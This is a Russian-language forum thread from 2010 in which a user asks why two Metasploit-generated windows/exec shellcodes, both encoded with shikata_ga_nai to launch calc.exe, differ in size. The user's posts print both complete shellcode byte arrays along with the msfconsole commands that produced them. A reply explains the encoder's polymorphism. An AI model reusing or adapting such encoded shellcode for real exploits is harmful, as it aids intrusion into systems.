Metasploit Payload Generator вопрос по настройкам.

Discussion in 'Реверсинг' started by i$o1da, 22 Jul 2010.

  1. i$o1da

    i$o1da New Member

    Joined:
    21 May 2009
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Добрый день

    Второй день ищу ответ на такой вопрос:
    При работе в последней версии MSF в винде, генерирую шелкод:
    Code:
    msf > use payload/windows/exec 
    msf payload(exec) > set encoder x86/shikata_ga_nai
    encoder => x86/shikata_ga_nai
    msf payload(exec) > set CMD calc.exe
    CMD => calc.exe
    msf payload(exec) > set EXITFUNC seh
    EXITFUNC => seh
    msf payload(exec) > generate
    # windows/exec - 227 bytes
    # http://www.metasploit.com
    # Encoder: x86/shikata_ga_nai
    # EXITFUNC=seh, CMD=calc.exe
    buf = 
    "\xdb\xd9\x29\xc9\xb1\x33\xbe\xba\xd6\x2f\xaa\xd9\x74\x24" +
    "\xf4\x5f\x83\xef\xfc\x31\x77\x13\x03\xcd\xc5\xcd\x5f\xcd" +
    "\x02\x98\xa0\x2d\xd3\xfb\x29\xc8\xe2\x29\x4d\x99\x57\xfe" +
    "\x05\xcf\x5b\x75\x4b\xfb\xe8\xfb\x44\x0c\x58\xb1\xb2\x23" +
    "\x59\x77\x7b\xef\x99\x19\x07\xed\xcd\xf9\x36\x3e\x00\xfb" +
    "\x7f\x22\xeb\xa9\x28\x29\x5e\x5e\x5c\x6f\x63\x5f\xb2\xe4" +
    "\xdb\x27\xb7\x3a\xaf\x9d\xb6\x6a\x00\xa9\xf1\x92\x2a\xf5" +
    "\x21\xa3\xff\xe5\x1e\xea\x74\xdd\xd5\xed\x5c\x2f\x15\xdc" +
    "\xa0\xfc\x28\xd1\x2c\xfc\x6d\xd5\xce\x8b\x85\x26\x72\x8c" +
    "\x5d\x55\xa8\x19\x40\xfd\x3b\xb9\xa0\xfc\xe8\x5c\x22\xf2" +
    "\x45\x2a\x6c\x16\x5b\xff\x06\x22\xd0\xfe\xc8\xa3\xa2\x24" +
    "\xcd\xe8\x71\x44\x54\x54\xd7\x79\x86\x30\x88\xdf\xcc\xd2" +
    "\xdd\x66\x8f\xb8\x20\xea\xb5\x85\x23\xf4\xb5\xa5\x4b\xc5" +
    "\x3e\x2a\x0b\xda\x94\x0f\xed\x2b\x25\x85\x7a\x92\xdc\xe4" +
    "\xe6\x25\x0b\x2a\x1f\xa6\xbe\xd2\xe4\xb6\xca\xd7\xa1\x70" +
    "\x26\xa5\xba\x14\x48\x1a\xba\x3c\x2b\xfd\x28\xdc\x82\x98" +
    "\xc8\x47\xdb"
    msf payload(exec) > 
    
    
    Но он не работает в изучаемом эксплойте.

    НО, когда я использую шеллкод из какого-нибудь РоС , например
    Code:
    # windows/exec - 144 bytes
    # http://www.metasploit.com
    # Encoder: x86/shikata_ga_nai
    # EXITFUNC=seh, CMD=calc
    $shellcode = $shellcode
    "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
    "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
    "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
    "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
    "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
    "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
    "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
    "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
    "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
    "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
    "\x7f\xe8\x7b\xca";
    
    то шеллкод выполняеся. У меня такой вопрос:
    Заметно, что шеллкоды разные по размеру, хотя праметры для генерации одинаковы. Почему так происходит ? Я что-то упускаю?
     
  2. neprovad

    neprovad Elder - Старейшина

    Joined:
    19 Oct 2007
    Messages:
    899
    Likes Received:
    274
    Reputations:
    59
    Добавьте 0xCC в начале кода и смотрите в отладчике что не так.
     
  3. i$o1da

    i$o1da New Member

    Joined:
    21 May 2009
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Спасибо, буду иметь ввиду, но меня больше волнует почему коды-то разные?
     
  4. neprovad

    neprovad Elder - Старейшина

    Joined:
    19 Oct 2007
    Messages:
    899
    Likes Received:
    274
    Reputations:
    59
    Из описания модуля:
    Code:
    This encoder implements a polymorphic XOR additive feedback encoder.
    The decoder stub is generated based on dynamic instruction
    substitution and dynamic block ordering.  Registers are also
    selected dynamically.
    станет понятно что код каждый раз меняется, так что все нормально.
     
  5. i$o1da

    i$o1da New Member

    Joined:
    21 May 2009
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Почему из-за xor код меняется, это я понимаю, я не понимаю почему меняется размер кода другой.

    Кстати сейчас попробовал сгенерировать шеллкод в старой версии метасплойта (3.2), так вот там всё ок - 144 байта. Судя по всему шеллкод в новой версии другой, покрупнее.